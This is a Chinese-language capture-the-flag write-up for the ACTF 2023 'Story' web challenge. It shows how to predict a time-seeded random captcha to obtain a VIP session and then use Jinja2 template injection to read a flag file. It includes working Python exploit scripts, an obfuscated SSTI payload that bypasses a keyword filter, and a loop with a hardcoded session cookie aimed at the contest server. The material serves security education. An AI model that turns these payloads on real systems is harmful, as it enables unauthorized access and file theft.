2023ACTF Story Writeup
story
设置vip
下载附件进行源码分析
分析app.py,过一遍就发现了render_template_string(),应该就是需要 ssti来读flag
其中的story在/write路由中可控,唯一的条件就是需要session[’vip’] = True
只有/vip路由上可以设置session[’vip’] = True
,因此需要做重点分析
/vip路由里的逻辑其实很简单,通过generate_code()生成一个captcha,用户通过json格式发送captcha跟生成的captcha对比,相同则设置session[’vip’]=True
那就重点分析generate_code()是如何生成captcha的,如下代码。通过分析,generate_code()就是一个很常规的利用random来生成随机字符串,没传参时默认长度为4。
涉及到random很容易联想到最近很热门的jumpserver漏洞,具体参考一下p牛的文章:https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html
我没有具体看过jumpserver这个漏洞,就大概看了下,其实python的random和php的一样,如果seed固定的话,值是可以预测的(还需要考虑操作系统等因素)。
那么就搜索一下哪个地方有设置seed,并且这个seed我们可以直接或间接的获取。
./utils/captcha.py的Capycha类在初始化时,就设置了seed,当初始化时没有指定key参数时,则设置seed为int(time.time())+random.randint(1, 10)
然后翻找一下就能发现,/captcha路由中有初始化Captcha()类的操作,且没有设置key,因此每次都可以通过访问/captcha来重新设置seed。
这里面的int(time.time())
是获取当前时间戳,这个我们很容易能获取到,唯一需要猜测的就是后面的+random.randint(1,100)
。这其实写个脚本爆破一下很快就出来了,最多就100次循环。
# coding: utf-8
import time
import random
code = 'twaa'
seed = int(time.time()) - 100
def generate_code(length: int = 4):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(characters) for _ in range(length))
for i in range(1, 10000):
random.seed(seed + i)
if code.lower() in generate_code().lower():
print('seed: ', str(seed + i))
break
我们本地搭建题目环境测试是否正确,然后把Captcha类初始化设置seed时的值打印出来。
访问登陆页面,获取验证码,然后手动把验证码填写到脚本的code变量中,然后运行脚本,可以看到获取的seed值跟题目环境打印出来的一致。
seed拿到了,接下来就是预测/vip路由生成的captcha值。
这里有个问题需要注意,当设置了seed后,想要获取到相同值需要执行相同次数的random,例如下图:
如果生成generate_code()之前,执行的random次数不一致,会导致生成的结果不一样,如下图。所以需要准确计算/vip路由在执行generate_code()之前,一共调用了多少次random模块生成随机值。
由于/captcha路由访问后调用random的次数有点多,这里有个偷懒的办法,就是在app.py中写一个路由,模拟执行一遍/captcha,然后打印执行了后generate_code()生成的值。如下:
这里需要注意把Captcha类中初始化seed的操作改一下,不然就成了我们真实seed + random.randint(1,100),那么设置的seed就不正确了。
为了验证效果,我们再把/vip路由中生成的captcha打印出来,如下图。
接着我们访问一下/captcha初始化seed
访问/vip路由,获取到生成的captcha。
脚本修改code为前面访问/captcha生成的验证码,然后爆破出seed
这时候访问我们自己写的/getcode路由,可以看到生成的值跟直接访问/vip的值一致,说明预测成功。
接下来就直接访问/vip发送code,就能获取到vip权限了。下图是我重新生成的code,所以跟上述截图不一致。
SSTI
接下来就是通过/write设置session[’story’],访问/story进行ssti读flag就可以了。
这里唯一的问题就是/write的时候会检测输入的payload,而这里的规则并不是全部都检测,而是通过随机数来随机生成要检测的规则。(对此我的评价是:6)
插曲:还有一个自己踩的坑,刚开始一直以为当waf检测到的时候vip就会被设置成False。
但后面发现,这里把vip设置为False会生成新的session,我们只要不去更新它的session就可以重复使用我们vip为true的session。
由于是随机数,所以是有几率只获取一个规则来检测,所以这里我们挑一个最“弱鸡”的规则来绕就可以了,我们选择了第六个规则,用脚本不断write,直到返回:success(这里后来才想起来可以通过读取config中session的secret_key,然后伪造session,直接跳过判断规则了)
# coding: utf-8
import requests
while True:
write_url = 'http://124.70.33.170:23001/write'
payload = r"{{self['_'+'_'+'cla'+'ss_'+'_']['_'+'_'+'bases_'+'_'][0]['_'+'_subcl'+'asses_'+'_']()[210]['_'+'_init_'+'_']['_'+'_globals_'+'_']['_'+'_builtins_'+'_']['open']('/app/flag').read()}}"
head = {'Cookie': 'session=eyJ2aXAiOnRydWV9.ZT5bgw.gnDqIbNhF87kuUnfTIa2MIO3vg0'}
resp = requests.post(write_url, headers=head, json={'story': payload})
if resp.json()['status'] != 'error':
print(resp.headers)
break
else:
print(resp.json()['message'])
然后拿着跑出来的session访问一下/story就能拿到flag
另外一个小插曲,由于是共享环境,比赛时估计有人一直在爆破验证码,导致seed一直更新,所以测试并不顺利,当时的做法是上获取/vip路由captcha的方式用脚本实现自动化,然后挂着跑。验证码用的ddddocr来识别。
# coding: utf-8
import random
import time
import requests
from ddddocr import DdddOcr
vip_url = 'http://124.70.33.170:23001/vip'
captcha_url = 'http://124.70.33.170:23001/captcha'
sess = requests.session()
# sess.proxies = {'http': 'http://127.0.0.1:8080'}
def generate_code(length: int = 4):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(characters) for _ in range(length))
while True:
captcha_resp = sess.get(captcha_url)
ocr = DdddOcr()
first_code = ocr.classification(captcha_resp.content)
print(first_code)
timestamp = int(time.time()) - 5
for i in range(1, 100):
random.seed(timestamp + i)
if first_code.lower() in generate_code().lower():
timestamp = timestamp + i
break
else:
print('not found seed')
continue
print(timestamp)
code = requests.get('http://127.0.0.1:5001/getcode/' + str(timestamp)).text
resp = sess.post(vip_url, json={'captcha': code})
print(code)
if 'Now you can' in resp.text:
print(resp.headers)
exit()
else:
print('error')
赛后又跑了一遍,发现基本几次就能跑出来了。